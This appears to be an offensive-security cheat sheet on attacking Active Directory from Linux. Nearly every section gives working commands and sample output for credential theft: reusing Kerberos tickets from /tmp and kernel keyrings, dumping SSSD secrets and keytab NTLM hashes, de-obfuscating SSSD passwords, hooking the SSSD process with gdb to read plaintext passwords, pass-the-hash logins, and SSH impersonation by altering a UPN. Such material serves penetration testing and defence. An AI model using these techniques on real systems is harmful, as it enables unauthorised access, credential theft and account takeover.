# Active Directory - Linux

## CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.

```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```

## CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys : <https://github.com/TarlogicSecurity/tickey>

```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

## CCACHE ticket reuse from SSSD KCM

System Security Services Daemon (SSSD) maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
By default, the key is only readable if you have **root** permissions.

Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.

```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

## CCACHE ticket reuse from keytab

```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

## Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use [microsoft/klist](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/klist) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23  is the actual NT Hash of the user.

```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
  KVNO: 25
  Key type: 23
  Key: 31d6cfe0d16ae931b73c59d7e0c089c0
  Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use [sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.

```powershell
$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On macOS you can use [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost).

```powershell
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```powershell
$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
```

## Extract accounts from /etc/sssd/sssd.conf

> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf

The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".

```ini
[sssd]
config_file_version = 2
...
[domain/LDAP]
...
ldap_uri = ldap://127.0.0.1
ldap_search_base = ou=People,dc=srv,dc=world
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = [BASE64_ENCODED_TOKEN]
```

De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate)

```ps1
./sss_deobfuscate [ldap_default_authtok_base64_encoded]
./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
```

## Extract accounts from SSSD keyring

**Requirements**:

* `krb5_store_password_if_offline = True` in `/etc/sssd/sssd.conf`

**Exploit**:

When `krb5_store_password_if_offline` is enabled, the AD password is stored plaintext.

```ps1
[domain/domain.local]
cache_credentials = True
ipa_domain = domain.local
id_provider = ipa
auth_provider = ipa
access_provider = ipa
chpass_provider = ipa
ipa_server = _srv_, server.domain.local
krb5_store_password_if_offline = true
```

Grab the PID of the SSSD process and hook it in `gdb`. Then list the process keyrings.

```ps1
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```

From the `/tmp/output` locate the `key_id` for the user you want.

```ps1
Session Keyring
 237034099 --alswrv      0     0  keyring: _ses
 689325199 --alswrv      0     0   \_ user: user@domain.local
```

Back to GDB:

```ps1
call system("keyctl print 689325199 > /tmp/output")
```

## SSH GSSAPI

GSSAPI (Generic Security Services Application Program Interface) is an API that provides security services (such as authentication) and acts as an abstraction layer for different security mechanisms, such as Kerberos.

**Requirements**:

* Write permission on **Public-Information** field
* SSH server supporting GSSAPI authentication: [CCob/gssapi-abuse](https://github.com/CCob/gssapi-abuse)

    ```ps1
    ./gssapi-abuse.py -d grandline.local enum -u username -p 'P@ssw0rd'
    ```

**Methodology**:

Since MIT Kerberos doesn't verify the PAC, controlling a domain account and altering its UPN allows us to masquerade as a different user.

* Modify the `userPrincipalName` inside the **Public-Information** field.

    ```ps1
    bloodyAD --host "dc1.domain.local" -d "domain.local" -u 'username' -p 'P@ssw0rd' set object username userPrincipalName -v 'administrator'  
    ```

* Request a ticket with the `NT_ENTERPRISE` principal because it searches for `userPrincipalName` before `samAccountName` in the ticket.

    ```ps1
    getTGT.py -dc-ip "10.10.10.10" "domain.local"/"username":'P@ssw0rd' -principalType NT_ENTERPRISE
    .\Rubeus.exe asktgt /user:Administrator /password:Password /principalType:enterprise
    ```

* Edit `/etc/krb5.conf` to authenticate to the Linux host via GSSAPI.

    ```yaml
    [libdefaults]
        default_realm = DOMAIN.LOCAL

    [realms]
        DOMAIN.LOCAL = {
                kdc = dc1.domain.local
        }

    [domain_realm]
        .domain.local = DOMAIN.LOCAL
        domain.local = DOMAIN.LOCAL
    ```

* SSH connection

    ```ps1
    export KRB5CCNAME=username.ccache
    ssh -vv -K username@domain.local@linux.domain.local
    ```

## References

* [20.4. Caching Kerberos Passwords - Red Hat Customer Portal](https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/6/html/identity_management_guide/kerberos-pwd-cache)
* [A broken marriage. Abusing mixed vendor Kerberos stacks - Ceri Coburn - August 25, 2023](https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/?ref=rayanle.cat)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Hack'in 2025 - One Directory - rayanlecat - June 25, 2025](https://www.rayanle.cat/hackin-2025-one-directory/)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
